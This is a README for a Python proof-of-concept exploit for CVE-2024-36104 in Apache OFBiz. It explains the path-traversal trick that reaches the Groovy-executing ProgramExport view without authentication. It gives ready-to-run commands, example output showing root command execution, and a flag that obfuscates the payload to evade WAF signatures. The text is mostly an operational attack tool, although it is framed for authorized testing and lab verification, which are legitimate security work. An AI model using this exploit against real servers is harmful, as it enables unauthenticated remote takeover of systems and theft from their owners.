CVE-2024-36104-PoC

Proof-of-concept for CVE-2024-36104, an unauthenticated remote code execution vulnerability in Apache OFBiz before 18.12.14.

OFBiz's ControlServlet resolves an unauthenticated view (forgotPassword) before canonicalizing the request path. Appending /%2e/%2e/ collapses back onto /webtools/control/, so the request reaches the ProgramExport view without ever passing through the security/permission check tied to the original view. ProgramExport then executes arbitrary Groovy code, giving unauthenticated remote command execution.

The script wraps the command in a Groovy snippet that runs it through /usr/bin/bash -lc, sends it to the vulnerable endpoint, and extracts the output from the java.lang.Exception OFBiz throws back in the HTML response.

What It Does

1. Validates and normalizes the target URL.
2. Builds the /%2e/%2e/ traversal path from forgotPassword to ProgramExport.
3. Wraps the command in a Groovy payload executed via Bash.
4. Sends the payload as groovyProgram to the vulnerable endpoint.
5. Parses the HTML response and extracts the command output.
6. Falls back to the raw response on parse failure or server errors.

Requirements

Python 3.8+

pip install -r requirements.txt

Required Python packages:

requests
urllib3

Quick Start

Values wrapped in angle brackets are placeholders. Replace them with your own values and do not include the < or > characters.

python3 cve_2024_36104.py \
  --target <TARGET_URL> \
  --command <COMMAND>

Placeholders

<TARGET_URL>  # Target base URL. Example: https://10.129.231.23
<COMMAND>     # Command that Bash will interpret. Example: id

Full Example

python3 cve_2024_36104.py \
  --target https://10.129.231.23 \
  --command "id"

Example output:

[2026-05-17T18:20:10Z] [*] Target: https://10.129.231.23/webtools/control/forgotPassword/%2e/%2e/ProgramExport
[2026-05-17T18:20:10Z] [*] Host header sent: localhost
[2026-05-17T18:20:10Z] [*] Command: id
[2026-05-17T18:20:11Z] [*] HTTP status: 200
[2026-05-17T18:20:11Z] [*] Response size: 4213 bytes

[+] Output of: id
uid=0(root) gid=0(root) groups=0(root)

Optional Flags

-H, --host-header <HOST>
   Value of the Host header. Default: localhost

--prefix-view <VIEW>
   Unauthenticated view used before the /%2e/%2e/ traversal. Default: forgotPassword

--target-view <VIEW>
   View reached after the traversal. Default: ProgramExport

--endpoint <PATH>
   Full custom endpoint path, overrides --prefix-view/--target-view.

--timeout <SECONDS>
   Maximum HTTP request time. Default: 15

--obfuscate
   Send groovyProgram as \uXXXX escapes instead of plaintext, matching the
   encoding used in public write-ups to dodge naive WAF signatures.

--show-payload
   Print the generated Groovy code before sending it.

--show-response
   Print the full HTML response.

--only-final
   Hide progress logs and print only the command output.

--no-color
   Disable ANSI colors.

--debug
   Enable extra diagnostic logging.

Notes

• Affects Apache OFBiz versions before 18.12.14.
• No authentication or user interaction is required.
• If the server returns 502, the backend likely didn't finish before the proxy timeout; the command may still complete server-side.
• Use --show-response to inspect the raw HTML when automatic extraction fails.

Legal

This PoC is intended for authorized security testing, lab environments, and vulnerability verification. Do not use it against systems without explicit permission.